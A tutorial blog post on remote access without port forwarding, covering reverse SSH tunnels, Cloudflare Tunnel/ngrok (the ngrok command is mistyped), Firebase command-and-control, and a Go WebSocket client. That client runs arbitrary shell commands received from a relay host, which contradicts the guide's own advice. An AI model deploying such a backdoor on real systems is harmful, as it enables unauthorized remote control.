Remote Access Without Port Forwarding: How to Build It Ethically

Legal and Ethical Disclaimer

Important: This guide is for educational, ethical, and authorized testing purposes only. Do not use the techniques described here to access systems you do not own or have permission to test. Unauthorized access is illegal and unethical.

Why Avoid Port Forwarding?

How to Build a Remote Access Tool Without Port Forwarding (For Ethical Use Only)

If you’re struggling with remote access without port forwarding, you’re not alone. Port forwarding is often blocked or insecure — but there are reliable, firewall-friendly methods to access devices remotely and ethically.

Port forwarding is often used to expose a local device or server to the internet. However, it comes with several downsides:

Many networks block port forwarding by default (especially on public Wi-Fi or behind corporate NATs).
Routers/firewalls may not support it, especially in enterprise environments.
It poses security risks if misconfigured.

So, how do we bypass this limitation legally and safely?

Methods to Build a RAT Without Port Forwarding

1. Reverse SSH Tunnels

A simple and powerful method. Here’s how it works:

The client device initiates an SSH connection to a public server you control.
You bind a port on the public server to redirect back to the client.
Example command:

ssh -R 2222:localhost:22 user@your-public-server.com

Now you can SSH into your client via:

ssh -p 2222 user@your-public-server.com

✅ Pros: Secure, simple
❌ Cons: Requires public VPS or cloud server

2. 🌩️ Cloudflare Tunnel or Ngrok

Both tools allow you to expose a local service to the internet without touching router settings.

Cloudflare Tunnel (formerly Argo Tunnel):

cloudflared tunnel --url http://localhost:3000

Ngrok:

rok http 3000

Pros: Instant setup
Cons: Free versions have limitations

3. WebSocket with Central Relay Server

For a more custom and flexible setup:

Write a Go or Node.js app that connects outbound to a WebSocket server you host.
The server routes messages between client and operator.
The client listens for commands and executes allowed actions.

Example (Go WebSocket client):

package main

import (
  "github.com/gorilla/websocket"
  "log"
  "os/exec"
)

func main() {
  c, _, err := websocket.DefaultDialer.Dial("wss://yourserver.com/relay", nil)
  if err != nil {
    log.Fatal("dial:", err)
  }
  defer c.Close()

  for {
    _, msg, err := c.ReadMessage()
    if err != nil {
      log.Println("read:", err)
      break
    }

    out, err := exec.Command("/bin/sh", "-c", string(msg)).Output()
    if err != nil {
      out = []byte(err.Error())
    }

    c.WriteMessage(websocket.TextMessage, out)
  }
}

Pros: Works behind all firewalls
Cons: Needs a secure relay server

4. Firebase for Command & Control (No Server Needed)

Firebase Realtime Database or Firestore can be used to:

Store commands to be polled by the client
Push logs or responses from client to the cloud

Pseudocode logic:

Client polls /commands/device123
Executes allowed commands
Writes results to /responses/device123

Pros: No need for server hosting
Cons: Latency due to polling, usage limits

Security Considerations

If you’re building a RAT even for legitimate use, never ignore security:

Use HTTPS/WSS encryption
Authenticate each client-device
Only allow pre-approved commands
Keep access logs
Add manual kill-switch or self-delete option

What You Should Never Do

Access a system you don’t own or control
Skip encryption or authentication
Let the client run arbitrary shell commands
Create malware — this guide is not for that

Ethical Use Cases

Remote access to your own devices while traveling
Educational lab for learning reverse shells
Internal IT support without VPN setup
Pen-testing in an authorized environment

Conclusion

Using remote access without port forwarding not only solves technical headaches but also improves security. Whether you’re a developer, support engineer, or hobbyist, these methods give you safe and efficient access — without touching your router.